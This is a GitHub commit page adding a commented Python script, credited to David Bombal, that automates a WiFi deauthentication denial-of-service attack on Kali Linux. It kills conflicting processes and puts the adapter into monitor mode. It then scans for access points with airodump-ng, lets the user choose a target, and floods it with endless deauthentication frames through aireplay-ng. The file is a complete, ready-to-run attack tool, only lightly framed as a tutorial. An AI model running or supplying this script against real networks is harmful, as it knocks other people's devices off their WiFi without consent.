Skip to content

Commit c7ec88c

Browse files
authored
Create wifi_dos_type1.py
1 parent 841632d commit c7ec88c

File tree

1 file changed

+197
-0
lines changed

1 file changed

+197
-0
lines changed

wifi_dos_type1.py

Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
# We will be using the subprocess module to run commands on Kali Linux.
2+
import subprocess
3+
# We require regular expressions.
4+
import re
5+
# We want to open the CSV files generated by airmon-ng,
6+
# and we'll use the built-in csv module.
7+
import csv
8+
# We want to import os because we want to check for sudo
9+
import os
10+
# We want to use time.sleep()
11+
import time
12+
# We want to move .csv files in the folder if we found any.
13+
# We'll use shutil for that.
14+
import shutil
15+
# Create a timestamp for .csv filename
16+
from datetime import datetime
17+
18+
# Create an empty list
19+
active_wireless_networks = []
20+
21+
# We use this function to test if the ESSID is already in the list file.
22+
# If so we return False so we don't add it again.
23+
# If it is not in the lst we return True which will instruct the elif
24+
# statement to add it to the lst.
25+
def check_for_essid(essid, lst):
26+
check_status = True
27+
28+
# If no ESSIDs in list add the row
29+
if len(lst) == 0:
30+
return check_status
31+
32+
# This will only run if there are wireless access points in the list.
33+
for item in lst:
34+
# If True don't add to list. False will add it to list
35+
if essid in item["ESSID"]:
36+
check_status = False
37+
38+
return check_status
39+
40+
# Basic user interface header
41+
print(r"""______ _ _ ______ _ _
42+
| _ \ (_) | | | ___ \ | | | |
43+
| | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| |
44+
| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | |
45+
| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | |
46+
|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""")
47+
print("\n****************************************************************")
48+
print("\n* Copyright of David Bombal, 2021 *")
49+
print("\n* https://www.davidbombal.com *")
50+
print("\n* https://www.youtube.com/davidbombal *")
51+
print("\n****************************************************************")
52+
53+
54+
# If the user doesn't run the program with super user privileges, don't allow them to continue.
55+
if not 'SUDO_UID' in os.environ.keys():
56+
print("Try running this program with sudo.")
57+
exit()
58+
59+
# Remove .csv files before running the script.
60+
for file_name in os.listdir():
61+
# We should only have one csv file as we delete them from the folder
62+
# every time we run the program.
63+
if ".csv" in file_name:
64+
print("There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.")
65+
# We get the current working directory.
66+
directory = os.getcwd()
67+
try:
68+
# We make a new directory called /backup
69+
os.mkdir(directory + "/backup/")
70+
except:
71+
print("Backup folder exists.")
72+
# Create a timestamp
73+
timestamp = datetime.now()
74+
# We move any .csv files in the folder to the backup folder.
75+
shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)
76+
77+
# Regex to find wireless interfaces. We're making the assumption they will all be wlan0 or higher.
78+
wlan_pattern = re.compile("^wlan[0-9]+")
79+
80+
# Python allows is to run system commands by using a function provided by the subprocess module.
81+
# subprocess.run(<list of command line arguments goes here>)
82+
# The script is the parent process and creates a child process which runs the system command,
83+
# and will only continue once the child process has completed.
84+
# We run the iwconfig command to look for wireless interfaces.
85+
check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())
86+
87+
# No WiFi Adapter connected.
88+
if len(check_wifi_result) == 0:
89+
print("Please connect a WiFi adapter and try again.")
90+
exit()
91+
92+
# Menu to select WiFi interface from
93+
print("The following WiFi interfaces are available:")
94+
for index, item in enumerate(check_wifi_result):
95+
print(f"{index} - {item}")
96+
97+
# Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from.
98+
while True:
99+
wifi_interface_choice = input("Please select the interface you want to use for the attack: ")
100+
try:
101+
if check_wifi_result[int(wifi_interface_choice)]:
102+
break
103+
except:
104+
print("Please enter a number that corresponds with the choices available.")
105+
106+
# For easy reference we call the selected interface hacknic
107+
hacknic = check_wifi_result[int(wifi_interface_choice)]
108+
109+
# Tell the user we're going to kill the conflicting processes.
110+
print("WiFi adapter connected!\nNow let's kill conflicting processes:")
111+
112+
# subprocess.run(<list of command line arguments goes here>)
113+
# The script is the parent process and creates a child process which runs the system command,
114+
# and will only continue once the child process has completed.
115+
# We run the iwconfig command to look for wireless interfaces.
116+
# Killing all conflicting processes using airmon-ng
117+
kill_confilict_processes = subprocess.run(["sudo", "airmon-ng", "check", "kill"])
118+
119+
# Put wireless in Monitor mode
120+
print("Putting Wifi adapter into monitored mode:")
121+
put_in_monitored_mode = subprocess.run(["sudo", "airmon-ng", "start", hacknic])
122+
123+
# subprocess.Popen(<list of command line arguments goes here>)
124+
# The Popen method opens a pipe from a command.
125+
# The output is an open file that can be accessed by other programs.
126+
# We run the iwconfig command to look for wireless interfaces.
127+
# Discover access points
128+
discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", check_wifi_result[0] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
129+
130+
# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.
131+
try:
132+
while True:
133+
# We want to clear the screen before we print the network interfaces.
134+
subprocess.call("clear", shell=True)
135+
for file_name in os.listdir():
136+
# We should only have one csv file as we backup all previous csv files from the folder every time we run the program.
137+
# The following list contains the field names for the csv entries.
138+
fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key']
139+
if ".csv" in file_name:
140+
with open(file_name) as csv_h:
141+
# This will run multiple times and we need to reset the cursor to the beginning of the file.
142+
csv_h.seek(0)
143+
# We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above.
144+
# This creates a list of dictionaries with the keys as specified in the fieldnames.
145+
csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames)
146+
for row in csv_reader:
147+
# We want to exclude the row with BSSID.
148+
if row["BSSID"] == "BSSID":
149+
pass
150+
# We are not interested in the client data.
151+
elif row["BSSID"] == "Station MAC":
152+
break
153+
# Every field where an ESSID is specified will be added to the list.
154+
elif check_for_essid(row["ESSID"], active_wireless_networks):
155+
active_wireless_networks.append(row)
156+
157+
print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n")
158+
print("No |\tBSSID |\tChannel|\tESSID |")
159+
print("___|\t___________________|\t_______|\t______________________________|")
160+
for index, item in enumerate(active_wireless_networks):
161+
# We're using the print statement with an f-string.
162+
# F-strings are a more intuitive way to include variables when printing strings,
163+
# rather than ugly concatenations.
164+
print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}")
165+
# We make the script sleep for 1 second before loading the updated list.
166+
time.sleep(1)
167+
168+
except KeyboardInterrupt:
169+
print("\nReady to make choice.")
170+
171+
# Ensure that the input choice is valid.
172+
while True:
173+
# If you don't make a choice from the options available in the list,
174+
# you will be asked to please try again.
175+
choice = input("Please select a choice from above: ")
176+
try:
177+
if active_wireless_networks[int(choice)]:
178+
break
179+
except:
180+
print("Please try again.")
181+
182+
# To make it easier to work with and read the code, we assign the results to variables.
183+
hackbssid = active_wireless_networks[int(choice)]["BSSID"]
184+
hackchannel = active_wireless_networks[int(choice)]["channel"].strip()
185+
186+
# Change to the channel we want to perform the DOS attack on.
187+
# Monitoring takes place on a different channel and we need to set it to that channel.
188+
subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel])
189+
190+
# Deauthenticate clients using a subprocess.
191+
# The script is the parent process and creates a child process which runs the system command,
192+
# and will only continue once the child process has completed.
193+
subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"])
194+
195+
# User will need to use control-c to break the script.
196+
197+

0 commit comments

Comments
 (0)